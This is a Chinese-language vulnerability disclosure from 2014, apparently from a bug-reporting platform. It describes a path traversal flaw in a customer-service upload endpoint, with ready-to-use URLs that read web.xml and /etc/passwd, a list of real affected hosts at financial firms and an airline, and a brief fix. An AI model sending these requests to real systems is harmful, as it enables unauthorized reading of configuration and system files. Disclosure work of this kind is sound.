漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-17: 厂商已经确认,细节仅向厂商公开
2014-08-20: 细节向第三方安全合作伙伴开放
2014-10-11: 细节向核心白帽子及相关领域专家公开
2014-10-21: 细节向普通白帽子公开
2014-10-31: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

果然还有坑。。

详细说明:

1.漏洞参数filename 这其实是用户在客服系统上传的图片地址。

读取配置文件
http://x.x.x.x/uploadfile?istrade=istrade&filename=../WEB-INF/web.xml
读取passwd文件
http://x.x.x.x//uploadfile?istrade=istrade&filename=../../../../../etc/passwd


http://im.dhzq.com.cn:9090/uploadfile?istrade=istrade&filename=../WEB-INF/web.xml
http://im.dhzq.com.cn:9090/uploadfile?istrade=istrade&filename=../../../../../etc/passwd

漏洞证明:

pass.png


国金证券
http://im.gjzq.cn:9090/
国航
http://60.247.100.70:9090/
吉祥人寿
http://ucstar.jxlife.com.cn:9090/
南方基金(有waf)
http://cconline.southernfund.com:9898
安信证券
http://119.147.80.161:8002/
http://oa.hdbp.com:9090/
-----------------------------------


更多案例列表:
http://www.qqtech.com/casefinance/index.htm

修复方案:

目录权限控制防止采用../方式回溯到上一级目录。

标签: none

评论已关闭